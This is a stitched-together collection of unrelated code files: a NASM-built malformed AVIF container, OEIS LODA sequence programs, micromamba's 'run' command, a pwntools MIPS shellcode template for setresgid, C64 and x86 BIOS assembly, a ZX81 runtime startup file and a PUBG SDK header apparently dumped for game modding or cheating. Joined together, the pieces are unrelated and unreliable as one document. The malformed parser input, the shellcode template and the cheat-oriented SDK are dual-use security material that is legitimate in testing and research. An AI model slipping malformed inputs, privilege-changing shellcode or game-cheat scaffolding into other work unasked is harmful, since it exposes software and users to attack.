%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24) ) ftyp_start: dd BE(ftyp_end - ftyp_start) db "ftyp" db "isom" dd BE(0x00) db "mif1", "miaf" ftyp_end: meta_start: dd BE(meta_end - meta_start) db "meta" dd BE(0) hdlr_start: dd BE(hdlr_end - hdlr_start) db "hdlr" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32) db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict') db 0x00, 0x00, 0x00, 0x00 ; reserved1(32) db 0x00, 0x00, 0x00, 0x00 ; reserved2(32) db 0x00, 0x00, 0x00, 0x00 ; reserved3(32) db 0x00 ; name(8) hdlr_end: pitm_start: dd BE(pitm_end - pitm_start) db "pitm" dd BE(0) db 0xaa, 0xbb pitm_end: iloc_start: dd BE(iloc_end - iloc_start) db "iloc" dd BE(0x01000000) dd BE(2) ; 2 items dd BE(0x00030000) ; construction_method(1) dw 0 dw 0 dd BE(0x00040000) ; construction_method(1) dw 0 dw 0 iloc_end: iref_start: dd BE(iref_end - iref_start) db "iref" db 0x01, 0x00, 0x00, 0x00 ; version=1 thmb_start: dd BE(thmb_end - thmb_start) dd "thmb" dd BE(3) ; from_item_ID db 0x00, 0x01 ; reference_count dd BE(4) ; to_item_ID thmb_end: iref_end: iinf_start: dd BE(iinf_end - iinf_start) dd "iinf" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x01 ; "entry_count(16)" infe_start: dd BE(infe_end - infe_start) dd "infe" db 0x02 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0xaa, 0xbb ; "item_ID(16)" db 0x00, 0x00 ; "item_protection_index(16)" db 0x61, 0x76, 0x30, 0x31 ; "item_type(32)" ('av01') db 0x00 ; "item_name(8)" infe_end: iinf_end: iprp_start: dd BE(iprp_end - iprp_start) db "iprp" ipco_start: dd BE(ipco_end - ipco_start) db "ipco" ispe_start: dd BE(ispe_end - ispe_start) db "ispe" dd 0 dd BE(1), BE(1) ; width, height ispe_end: ispe2_start: dd BE(ispe2_end - ispe2_start) db "ispe" dd 0 dd BE(100), BE(100) ; width, height ispe2_end: pixi_start: dd BE(pixi_end - pixi_start) dd "pixi" pixi_end: ipco_end: ipma_start: dd BE(ipma_end - ipma_start) dd "ipma" db 0x00 ; "version(8)" db 0x00, 0x00, 0x00 ; "flags(24)" db 0x00, 0x00, 0x00, 0x01 ; "entry_count(32)" db 0xaa, 0xbb ; "item_ID(16)" db 0x02 ; "association_count(8)" db 0x82 ; "essential(1)" "property_index(7)" db 0x83 ; "essential(1)" "property_index(7)" ipma_end: iprp_end: meta_end: ; vim: syntax=nasm
; A300402: Smallest integer i such that TREE(i) >= n. ; 1,1,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3 min $0,4 div $0,2 add $0,1
#include <csignal> #include <reproc++/run.hpp> #include "common_options.hpp" #include "mamba/api/configuration.hpp" #include "mamba/api/install.hpp" #ifndef _WIN32 extern "C" { #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> } #endif using namespace mamba; // NOLINT(build/namespaces) #ifndef _WIN32 void daemonize() { pid_t pid, sid; int fd; // already a daemon if (getppid() == 1) return; // fork parent process pid = fork(); if (pid < 0) exit(1); // exit parent process if (pid > 0) exit(0); // at this point we are executing as the child process // create a new SID for the child process sid = setsid(); if (sid < 0) exit(1); fd = open("/dev/null", O_RDWR, 0); std::cout << fmt::format("Kill process with: kill {}", getpid()) << std::endl; if (fd != -1) { dup2 (fd, STDIN_FILENO); dup2 (fd, STDOUT_FILENO); dup2 (fd, STDERR_FILENO); if (fd > 2) { close (fd); } } } #endif void set_run_command(CLI::App* subcom) { init_prefix_options(subcom); static std::string streams; CLI::Option* stream_option = subcom->add_option("-a,--attach", streams, "Attach to stdin, stdout and/or stderr. -a \"\" for disabling stream redirection")->join(','); static std::string cwd; subcom->add_option("--cwd", cwd, "Current working directory for command to run in. Defaults to cwd"); static bool detach = false; #ifndef _WIN32 subcom->add_flag("-d,--detach", detach, "Detach process from terminal"); #endif static bool clean_env = false; subcom->add_flag("--clean-env", clean_env, "Start with a clean environment"); static std::vector<std::string> env_vars; subcom->add_option("-e,--env", env_vars, "Add env vars with -e ENVVAR or -e ENVVAR=VALUE")->allow_extra_args(false); subcom->prefix_command(); static reproc::process proc; subcom->callback([subcom, stream_option]() { auto& config = Configuration::instance(); config.at("show_banner").set_value(false); config.load(); std::vector<std::string> command = subcom->remaining(); if (command.empty()) { LOG_ERROR << "Did not receive any command to run inside environment"; exit(1); } // replace the wrapping bash with new process entirely #ifndef _WIN32 if (command.front() != "exec") command.insert(command.begin(), "exec"); #endif auto [wrapped_command, script_file] = prepare_wrapped_call(Context::instance().target_prefix, command); LOG_DEBUG << "Running wrapped script " << join(" ", command); bool all_streams = stream_option->count() == 0u; bool sinkout = !all_streams && streams.find("stdout") == std::string::npos; bool sinkerr = !all_streams && streams.find("stderr") == std::string::npos; reproc::options opt; if (cwd != "") { opt.working_directory = cwd.c_str(); } if (clean_env) { opt.env.behavior = reproc::env::empty; } std::map<std::string, std::string> env_map; if (env_vars.size()) { for (auto& e : env_vars) { if (e.find_first_of("=") != std::string::npos) { auto split_e = split(e, "=", 1); env_map[split_e[0]] = split_e[1]; } else { auto val = env::get(e); if (val) { env_map[e] = val.value(); } else { LOG_WARNING << "Requested env var " << e << " does not exist in environment"; } } } opt.env.extra = env_map; } opt.redirect.out.type = sinkout ? reproc::redirect::discard : reproc::redirect::parent; opt.redirect.err.type = sinkerr ? reproc::redirect::discard : reproc::redirect::parent; #ifndef _WIN32 if (detach) { std::cout << fmt::format(fmt::fg(fmt::terminal_color::green), "Running wrapped script {} in the background", join(" ", command)) << std::endl; daemonize(); } #endif int status, pid; std::error_code ec; ec = proc.start(wrapped_command, opt); std::tie(pid, ec) = proc.pid(); if (ec) { std::cerr << ec.message() << std::endl; exit(1); } #ifndef _WIN32 std::thread t([](){ signal(SIGTERM, [](int signum) { LOG_INFO << "Received SIGTERM on micromamba run - terminating process"; reproc::stop_actions sa; sa.first = reproc::stop_action{reproc::stop::terminate, std::chrono::milliseconds(3000)}; sa.second = reproc::stop_action{reproc::stop::kill, std::chrono::milliseconds(3000)}; proc.stop(sa); }); }); t.detach(); #endif // check if we need this if (!opt.redirect.discard && opt.redirect.file == nullptr && opt.redirect.path == nullptr) { opt.redirect.parent = true; } ec = reproc::drain(proc, reproc::sink::null, reproc::sink::null); std::tie(status, ec) = proc.stop(opt.stop); if (ec) { std::cerr << ec.message() << std::endl; } // exit with status code from reproc exit(status); }); }
; A023457: n-15. ; -15,-14,-13,-12,-11,-10,-9,-8,-7,-6,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 sub $0,15
; A030894: [ exp(6/17)*n! ]. ; Submitted by Christian Krause ; 1,2,8,34,170,1024,7173,57385,516468,5164680,56811482,681737791,8862591291,124076278077,1861144171155,29778306738485,506231214554248,9112161861976473,173131075377552995,3462621507551059902 add $0,1 mov $2,1 lpb $0 mul $1,2 mul $2,$0 sub $0,1 add $1,1 mul $1,3 div $1,17 add $1,$2 lpe mov $0,$1
; A056450: a(n) = (3*2^n - (-2)^n)/2. ; 1,4,4,16,16,64,64,256,256,1024,1024,4096,4096,16384,16384,65536,65536,262144,262144,1048576,1048576,4194304,4194304,16777216,16777216,67108864,67108864,268435456,268435456,1073741824,1073741824,4294967296,4294967296,17179869184,17179869184,68719476736,68719476736,274877906944,274877906944,1099511627776,1099511627776,4398046511104,4398046511104,17592186044416,17592186044416,70368744177664,70368744177664,281474976710656,281474976710656,1125899906842624,1125899906842624,4503599627370496,4503599627370496 mov $1,4 mov $2,$0 add $2,1 div $2,2 pow $1,$2
<% from pwnlib.shellcraft.mips.linux import syscall %> <%page args="rgid, egid, sgid"/> <%docstring> Invokes the syscall setresgid. See 'man 2 setresgid' for more information. Arguments: rgid(gid_t): rgid egid(gid_t): egid sgid(gid_t): sgid </%docstring> ${syscall('SYS_setresgid', rgid, egid, sgid)}
;============================================================== ; Example 5-3 ; Opening top and bottom borders with self modifying interrupt ;============================================================== !cpu 6502 !to "build/example5-4.prg",cbm * = $1000 ;-------------------------------------------------------------- ; CONFIGURE RASTER IRQ ;-------------------------------------------------------------- sei ; disable interrupts lda #%01111111 sta $dc0d ; turn off CIA1 interrupts sta $dd0d ; turn off CIA2 interrupts lda #%00000001 sta $d01a ; turn on raster interrupts lda #<rasterirq sta $0314 lda #>rasterirq sta $0315 lda #$1a sta $d011 ; lines 1-255, 25 row mode lda #$fa sta $d012 ; irq on line 250 cli ; re-enable interrupts ;-------------------------------------------------------------- ; MAIN LOOP ;-------------------------------------------------------------- loop jmp loop ;-------------------------------------------------------------- ; RASTER IRQ ;-------------------------------------------------------------- rasterirq lda $d011 and #$f7 ; and #$f7 opcodes: 29 f7 ; ora #$08 opcodes: 09 08 sta $d011 lda #$fc sta $d012 ; irq on line 252 ($fc) ; then again on line 250 ($fa) lda #$20 eor rasterirq+3 sta rasterirq+3 ; switch and & ora opcodes lda #$ff eor rasterirq+4 sta rasterirq+4 ; switch and & ora values lda #$06 eor rasterirq+9 sta rasterirq+9 ; switch raster irq line asl $d019 ; ack interrupt, re-enables it pla tay pla tax pla rti
print: pusha start: mov al, [bx] cmp al, 0 je done ; if done call ret after discarding unused data ; print letter (if not done bc above) mov ah, 0x0e int 0x10 ; s add bx, 1 ; increment pointer? jmp start ; do loop done: popa ; do the ret ; return print_nl: pusha mov ah, 0x0e mov al, 0x0a ; \n int 0x10 mov al, 0x0d ; \n^2 int 0x10 popa ; do the ret ; ret
; CRT0 for the ZX81 ; ; Stefano Bodrato Apr. 2000 ; ; If an error occurs (eg. out if screen) we just drop back to BASIC ; ; ZX81 will be thrown in FAST mode by default. ; The "startup=2" parameter forces the SLOW mode. ; Values for "startup" from 3 to 6 activate the WRX HRG modes ; Values between 13 and 17 activate the ARX HRG modes ; LAMBDA 8300/POWER 3000 modes: startup=101 and startup=102 ; ; OPTIMIZATIONS: ; ; If in HRG mode it is possible to exclude the SLOW mode text with the ; '-DDEFINED_noslowfix' parameter it helps to save some memory. ; "#pragma output noslowfix = 1" in the source program has the same effect. ; ; If in WRX HRG mode a static position for HRGPAGE cam be defined in ; program (i.e. "#pragma output hrgpage=32768"), moving the video frame ; over the stack instead than lowering it. The automatic HRG page locator ; is also disabled too, ripping off about 13 bytes. ; In any case by POKEing at address 16518/16519 of the compiled program ; the HRG page position can be still changed by the user for custom needs. ; ; - - - - - - - ; ; $Id: zx81_crt0.asm,v 1.59 2016-07-15 21:03:25 dom Exp $ ; ; - - - - - - - MODULE zx81_crt0 ;------- ; Include zcc_opt.def to find out information about us ;------- defc crt0 = 1 INCLUDE "zcc_opt.def" ;------- ; Some general scope declarations ;------- EXTERN _main ;main() is always external to crt0 code PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) IF (startup>100) ; LAMBDA specific definitions (if any) ENDIF PUBLIC save81 ;Save ZX81 critical registers PUBLIC restore81 ;Restore ZX81 critical registers ;; PUBLIC frames ;Frame counter for time() PUBLIC _FRAMES defc _FRAMES = 16436 ; Timer defc CONSOLE_ROWS = 24 defc CONSOLE_COLUMNS = 32 IF !DEFINED_CRT_ORG_CODE IF (startup>100) ; ORG position for LAMBDA defc CRT_ORG_CODE = 17307 ELSE defc CRT_ORG_CODE = 16514 ENDIF ENDIF defc TAR__register_sp = -1 defc TAR__clib_exit_stack_size = 4 defc CRT_KEY_DEL = 12 defc __CPU_CLOCK = 3250000 INCLUDE "crt/classic/crt_rules.inc" org CRT_ORG_CODE ; Hide the mess in the REM line from BASIC program listing ; jr start ; defb 118,255 ; block further listing ; As above, but more elegant ld a,(hl) ; hide the first 6 bytes of REM line jp start ; invisible defc DEFINED_basegraphics = 1 PUBLIC base_graphics _base_graphics: ; Address of the Graphics map.. base_graphics: ; it is POKEable at address 16518/16519 IF DEFINED_hrgpage defw hrgpage ELSE defw 0 ENDIF defb 'Z'-27 ; Change this with your own signature defb '8'-20 defb '8'-20 defb 'D'-27 defb 'K'-27 defb 0 defb 'C'+101 defb 149 ; '+' defb 118,255 ; block further listing start: ld ix, 16384 ; (IXIY swap) when self-relocating IY is corrupt call save81 IF (!DEFINED_startup | (startup=1)) ; FAST mode, safest way to use the special registers call $F23 ; FAST mode ;call $2E7 ;setfast ;out ($fd),a ; nmi off ENDIF IF (startup>100) IF (startup=101) ; FAST mode, safest way to use the special registers call $D5E ENDIF IF (startup=102) call altint_on ENDIF ELSE IF (startup>=2) IF ((startup=3)|(startup=5)|(startup=13)|(startup=15)|(startup=23)|(startup=25)) ld a,1 ld (hrgbrkflag),a ENDIF IF (startup=2) call altint_on ; Trick to get the HRG mode with a #pragma definition ; perhaps useful with the MemoTech or the G007 HRG boards IF DEFINED_ANSIHRG call hrg_on ENDIF ELSE call hrg_on ENDIF ENDIF ENDIF IF (startup>100) ; LAMBDA specific startup code (if any) ELSE IF (startup>=23) ; CHROMA 81 ld a,32+16+7 ; 32=colour enabled, 16="attribute file" mode, 7=white border ld bc,7FEFh out (c),a ld a,7*16 ; white paper, black ink ld hl,HRG_LineStart+2+32768 ld de,(16396) set 7,d inc de ld c,24 .rowloop ld b,32 .rowattr ld (hl),a ld (de),a inc hl inc de djnz rowattr inc hl inc hl inc hl inc de dec c jr nz,rowloop ENDIF ENDIF ; this must be after 'hrg_on', sometimes ; the stack will be moved to make room ; for high-resolution graphics. ld (start1+1),sp ;Save entry stack INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF call _main ;Call user program cleanup: push hl ; keep return code call crt0_exit ; The BASIC USR call would restore IY on return, but it could not be enough call restore81 IF (startup>100) IF (startup=101) ; LAMBDA specific exit resume code (if any) call $12A5 ; SLOW ENDIF IF (startup=102) call altint_off ENDIF ELSE IF (startup>=2) IF ((startup=3)|(startup=5)|(startup=13)|(startup=15)|(startup=23)|(startup=25)) xor a ld (hrgbrkflag),a ELSE IF (startup=2) call altint_off ELSE call hrg_off ; this is valid for mode 2, too ! ENDIF ENDIF ELSE IF (!DEFINED_startup | (startup=1)) call $F2B ; SLOW mode ;call $207 ;slowfast ENDIF ENDIF ENDIF pop bc ; return code (for BASIC) start1: ld sp,0 ;Restore stack to entry value ret l_dcal: jp (hl) ;Used for function pointer calls restore81: IF (!DEFINED_startup | (startup=1)) ex af,af a1save: ld a,0 ex af,af ENDIF exx hl1save: ld hl,0 ;ld bc,(bc1save) ;ld de,(de1save) exx ld ix,16384 ; IT WILL BECOME IY !! ret save81: IF (!DEFINED_startup | (startup=1)) ex af,af ld (a1save+1),a ex af,af ENDIF exx ld (hl1save + 1),hl ;ld (de1save),de exx ret ;--------------------------------------- ; Modified IRQ handler ;--------------------------------------- IF (startup>100) ; LAMBDA modes IF (startup=102) INCLUDE "target/lambda/classic/lambda_altint.asm" ENDIF ELSE ; +++++ non-LAMBDA section begin +++++ IF (startup=2) INCLUDE "target/zx81/classic/zx81_altint.asm" ENDIF ;------------------------------------------------- ; High Resolution Graphics (Wilf Rigter WRX mode) ; Code my Matthias Swatosch ;------------------------------------------------- IF (startup>=3) IF ((startup<=7)|(startup>=23)) INCLUDE "target/zx81/classic/zx81_hrg.asm" ENDIF ENDIF ;------------------------------------------------- ; High Resolution Graphics (Andy Rea ARX816 mode) ;------------------------------------------------- IF (startup>=13) IF (startup>=23) ; ELSE IF (startup<=17) INCLUDE "target/zx81/classic/zx81_hrg_arx.asm" ENDIF ENDIF ENDIF ; +++++ non-LAMBDA section end +++++ ENDIF ;------------------------------------------------- ; FAST mode workaround for those functions trying ; to use zx_fast and zx_slow ;------------------------------------------------- IF (!DEFINED_startup | (startup=1)) PUBLIC zx_fast PUBLIC zx_slow PUBLIC _zx_fast PUBLIC _zx_slow zx_fast: zx_slow: _zx_fast: _zx_slow: ret ENDIF ;----------- ; Now some variables ;----------- IF (startup>=3) IF (startup>100) ; LAMBDA specific definitions (if any) ELSE PUBLIC text_rows PUBLIC hr_rows PUBLIC _hr_rows text_rows: hr_rows: _hr_rows: IF ((startup=5)|(startup=6)|(startup=7)|(startup=15)|(startup=16)|(startup=17)|(startup=25)|(startup=26)|(startup=27)) defw 8 ; Current number of text rows in graphics mode ELSE defw 24 ; Current number of text rows in graphics mode ENDIF ENDIF ENDIF INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm"
#pragma once // PUBG FULL SDK - Generated By Respecter (5.3.4.11 [06/03/2019]) SDK #ifdef _MSC_VER #pragma pack(push, 0x8) #endif #include "PUBG_InGameReplayMenu_structs.hpp" namespace SDK { //--------------------------------------------------------------------------- //Classes //--------------------------------------------------------------------------- // WidgetBlueprintGeneratedClass InGameReplayMenu.InGameReplayMenu_C // 0x0038 (0x0288 - 0x0250) class UInGameReplayMenu_C : public UUserWidget { public: struct FPointerToUberGraphFrame UberGraphFrame; // 0x0250(0x0008) (Transient, DuplicateTransient) class UButton* Button_Exit; // 0x0258(0x0008) (BlueprintVisible, ExportObject, ZeroConstructor, InstancedReference, IsPlainOldData, RepSkip, RepNotify, Interp, NonTransactional, EditorOnly, NoDestructor, AutoWeak, ContainsInstancedReference, AssetRegistrySearchable, SimpleDisplay, AdvancedDisplay, Protected, BlueprintCallable, BlueprintAuthorityOnly, TextExportTransient, NonPIEDuplicateTransient, ExposeOnSpawn, PersistentInstance, UObjectWrapper, HasGetValueTypeHash, NativeAccessSpecifierPublic, NativeAccessSpecifierProtected, NativeAccessSpecifierPrivate) class UButton* Button_Option; // 0x0260(0x0008) (BlueprintVisible, ExportObject, ZeroConstructor, InstancedReference, IsPlainOldData, RepSkip, RepNotify, Interp, NonTransactional, EditorOnly, NoDestructor, AutoWeak, ContainsInstancedReference, AssetRegistrySearchable, SimpleDisplay, AdvancedDisplay, Protected, BlueprintCallable, BlueprintAuthorityOnly, TextExportTransient, NonPIEDuplicateTransient, ExposeOnSpawn, PersistentInstance, UObjectWrapper, HasGetValueTypeHash, NativeAccessSpecifierPublic, NativeAccessSpecifierProtected, NativeAccessSpecifierPrivate) class UButton* Button_ReplayList; // 0x0268(0x0008) (BlueprintVisible, ExportObject, ZeroConstructor, InstancedReference, IsPlainOldData, RepSkip, RepNotify, Interp, NonTransactional, EditorOnly, NoDestructor, AutoWeak, ContainsInstancedReference, AssetRegistrySearchable, SimpleDisplay, AdvancedDisplay, Protected, BlueprintCallable, BlueprintAuthorityOnly, TextExportTransient, NonPIEDuplicateTransient, ExposeOnSpawn, PersistentInstance, UObjectWrapper, HasGetValueTypeHash, NativeAccessSpecifierPublic, NativeAccessSpecifierProtected, NativeAccessSpecifierPrivate) class UImage* Image_5; // 0x0270(0x0008) (BlueprintVisible, ExportObject, ZeroConstructor, InstancedReference, IsPlainOldData, RepSkip, RepNotify, Interp, NonTransactional, EditorOnly, NoDestructor, AutoWeak, ContainsInstancedReference, AssetRegistrySearchable, SimpleDisplay, AdvancedDisplay, Protected, BlueprintCallable, BlueprintAuthorityOnly, TextExportTransient, NonPIEDuplicateTransient, ExposeOnSpawn, PersistentInstance, UObjectWrapper, HasGetValueTypeHash, NativeAccessSpecifierPublic, NativeAccessSpecifierProtected, NativeAccessSpecifierPrivate) class UUIBlurBackground_C* UIBlurBackground; // 0x0278(0x0008) (BlueprintVisible, ExportObject, ZeroConstructor, InstancedReference, IsPlainOldData, RepSkip, RepNotify, Interp, NonTransactional, EditorOnly, NoDestructor, AutoWeak, ContainsInstancedReference, AssetRegistrySearchable, SimpleDisplay, AdvancedDisplay, Protected, BlueprintCallable, BlueprintAuthorityOnly, TextExportTransient, NonPIEDuplicateTransient, ExposeOnSpawn, PersistentInstance, UObjectWrapper, HasGetValueTypeHash, NativeAccessSpecifierPublic, NativeAccessSpecifierProtected, NativeAccessSpecifierPrivate) class ATslHUD* HUD; // 0x0280(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData) static UClass* StaticClass() { static auto ptr = UObject::FindClass("WidgetBlueprintGeneratedClass InGameReplayMenu.InGameReplayMenu_C"); return ptr; } void SetHUD(class ATslHUD** inHUD); void GotoReplayList(EPopupButtonID* ButtonID); void QuitReplay(EPopupButtonID* ButtonID); void BndEvt__Button_ReplayList_K2Node_ComponentBoundEvent_210_OnButtonClickedEvent__DelegateSignature(); void BndEvt__Button_Exit_K2Node_ComponentBoundEvent_228_OnButtonClickedEvent__DelegateSignature(); void BndEvt__Button_Resume_K2Node_ComponentBoundEvent_247_OnButtonClickedEvent__DelegateSignature(); void HidePopupWidgetForReplay(); void OpenReplayListMap(); void BndEvt__Button_Option_K2Node_ComponentBoundEvent_68_OnButtonClickedEvent__DelegateSignature(); void ExecuteUbergraph_InGameReplayMenu(int* EntryPoint); }; } #ifdef _MSC_VER #pragma pack(pop) #endif